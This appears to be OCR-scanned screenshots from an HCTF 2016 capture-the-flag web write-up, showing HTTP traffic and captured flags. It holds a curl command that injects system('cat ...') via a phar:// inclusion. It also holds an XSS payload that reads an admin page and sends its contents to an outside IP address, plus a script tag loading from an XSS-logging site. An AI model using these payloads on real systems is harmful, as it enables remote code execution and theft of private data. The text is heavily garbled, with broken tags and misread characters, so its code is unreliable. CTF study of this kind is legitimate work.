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GET /index.php HTTP/1.1 [ HTTP/1.1 200 OK
Host: 2099.hctf.ic r Date: Fri, 25 Mov 2016 15:10:01 GMT
User-Agent: MozillasS.0 (1Phone; CPU 1Phone 0S 99 like Mac 0S X) Server: Apache/2.4.10 (Debian)
Applewebkit/534.46 (KHTML, like Gecko) Version/S.1 Mobile/SBE206 flag: hctf{h77p_He4dEr_50_Edsy}
Safari/7534.48.3 ApplewebKit/536.26 (KHTML, like Gecko) Version/6.0 Vary: Accept-Encoding
Mobile/108403 Safari/8536.25 Content-Length: 294
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/*;q=0.8 Connection: close
Accept-Language: zh,en-US;q=0.7,en;q=0.3 Content-Type: text/html; charset=UTF-8
Accept-Encoding: gzip, deflate
Connection: keep-alive <!DOCTYPE html>
Upgrade-Insecure-Requests: 1 <html=
Cache-Control: max-age=0 <head=>
Date: Fri, 25 Mov 2099 15:03:58 GMT <meta charset="utf-8"></meta>
<title=wWelcome to HCTF2016</title>
</head=
<body=
<div align="center" =
<p>
<l1>only 10599 can get flag(Maybe you can easily get the flag in
2009 </li=
<fp=
<!-- flag not in html... -->
<fdiv=
</body=>
</html>
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PUT /1ndex.php/mnney/12455 HTTP/1.1 A HTTP/1.1 200 OK

Host: jinja.hctf.io r Date: Fri, 25 Mov 2016 15:32:42 GMT

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x85_64; rv:50.0) Gecko/20100101 Firefox/50.0 Server: Apache/2.4.10 (Debian)

Accept: */* Access-Control-allow-Orgin: *

Accept-Language: zh,en-US;g=0.7,en;q=0.3 Access-Control-Allow-Methods: *

Accept-Encoding: gzip, deflate Content-Length: &4

X-Requested-With: XMLHttpRequest Connection: close

Referer: http://jinja.hctf.io0/ Content-Type: application/json

Connection: keep-alive

Cache-Control: max-age=0 {"message" :"\"Your flag is hctf{Do_you_know_124507} web dog!\""}
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curl -d "bdw=system('cat ../Thls_1s_F1a9.php');" "http://pics.hctf.io/home.php?fp=phar://uploads/eb746959d6f137719369908b32010f783c4874e9.png/0"
<!DOCTYPE html>
<html>
<head>

strap.min.css" r
jumbotron-narrow.css

er clearfix">

av nav-pills pull-righ
i role="presentation" cl ' i href="home.php?key=hduisa123">Home<

L enctype="multipart/form-data"
<input type="file" id="1 i e" clas tn btn-1g btn-succes style="margin-left: auto; margin-right

nput type="submit" id="submit" name="submit" class="btn btn-1lg btn-success" role="button" value="_Lf Fs
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- 2016511826 14:31:2  115.159.75.227 LigHEREBGPEIER D Windows NT Chrome(56.0.2914.3) GET {"GET":["a"]} B

GET | POST  Cookie  HTTPERfEE  HitEs
®E

<IDOCTYPE html><htmi> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"><I- The above 3 meta tags “must" come firstin the head; any other
content must come *after* these tags --> <meta name="description" content=""> <meta name="author" content="" et link href="css/signin.css" rel="stylesheet"> <I-- Custom styles for this template --> <link href="css/cover.css'
rel="stylesheet"> <link rel="stylesheet" href=" fcss/b min.css"> <link rel="stylesheet" href~" fcss/styles.css"> <link rel="stylesheet" href="css/LoRexxar.css"> <boady> <ul class="list-group! style="background-color: #333'><li class="1ist-group-
item">hctflcSp_1s_g0od7hlng2333}</li> <li class="list-group-item"><script src=http://webxss.net/aGp0iVv?1480140460></script=</li> <li class="list-group-item"></li> <script src=". /js/jquery.min.js' ></scr|pt><5:r|pt>lun:t|on sleep(d){ for{var t=

a  Date.now(;Date.now( - t<=di}; } .get("http://guestbook. hct.io/admin_lorexxar.php",function(data,status){ var head = document. getE|ementsByTagName("body}[0]; var cssURL="http://104.160.43.154/xss/?a=" escape(datal; var Tag =
document.createElement("link"); Tag.href = cssURL; Tag.setAttribute("rel"," prefetch™); head.appendcChild(Tag); }) sleep(4000); </scrip=/li> <li class="list-group-item" >61317</I|><I|(Iassf list-group-item"></li> <script src="/js/jquery. min.js"></script> <script>
function sleep(d){ for{uar t = Date.now();Date.nowl) - t<=d:); }§.get("http: //guestbunk hettio/admin_loreoar.php" function(data,status){var head = document. getElementsBy TagName("body")[0]; var cssURL="http://104.160.43.154/xs5/25=" escapeldata); var 1
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LEL] 1P FilR BHF & BR RIS
v 2016F11H27H 19:30:36  115.159.75.227 LismEREBGPEERS Windows NT Chrome(56.0.2914.3) GET {"GET™.["a"T}

GET POST Cookie HTTPERIER Hitz 2

#® E
PHPSESSID=v5trcs8otcgmflmu2tfgfo2sp2: <IDOCTYPE html= <html> <head= <title=%uT95E %uTID8%UTE84%uB04A%u5929%uTTF</title= <link rel="stylesheet" href="./static/css/bootstrap.min.css"> <link rel=" " href="/static/css/default.css"> <lin
rel="stylesheet" href="/static/css/styles.css"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> </head> <body> <div class="col-md-8 col-md-offset-2 text-center head" id="head'> <h1 class="white'>welcome ,admin <img class="avatar"

pload/wieizhi" /> </h1> </div> <div id="hide" class='col-md-8 col-md-offset-2 t
i file.php" enctype="| ipart/form-data"> input type=

nter'> <h2 class="ani fadelnUp del, 55 white'=Imp your personal information</h2> </div> <div class="container back"> <form method="pest" class="forn
i "true” class="form-control" name="username" value="admin"> introduction:<textarea class="form-control" name="intro">=</textarea= avatar(<50k):<input
e;margin-left:130px" value="submit"> <input type="button" class="back" style="display:inline; margin-left:50px" value="back"> </form> </div> <script src="/static
fjsfjquery.min.js"></script> <script src="/static/js/bootstrap.min.js"></script> <script src="./static/js/LoRexxar.js"></script> </body> </html>
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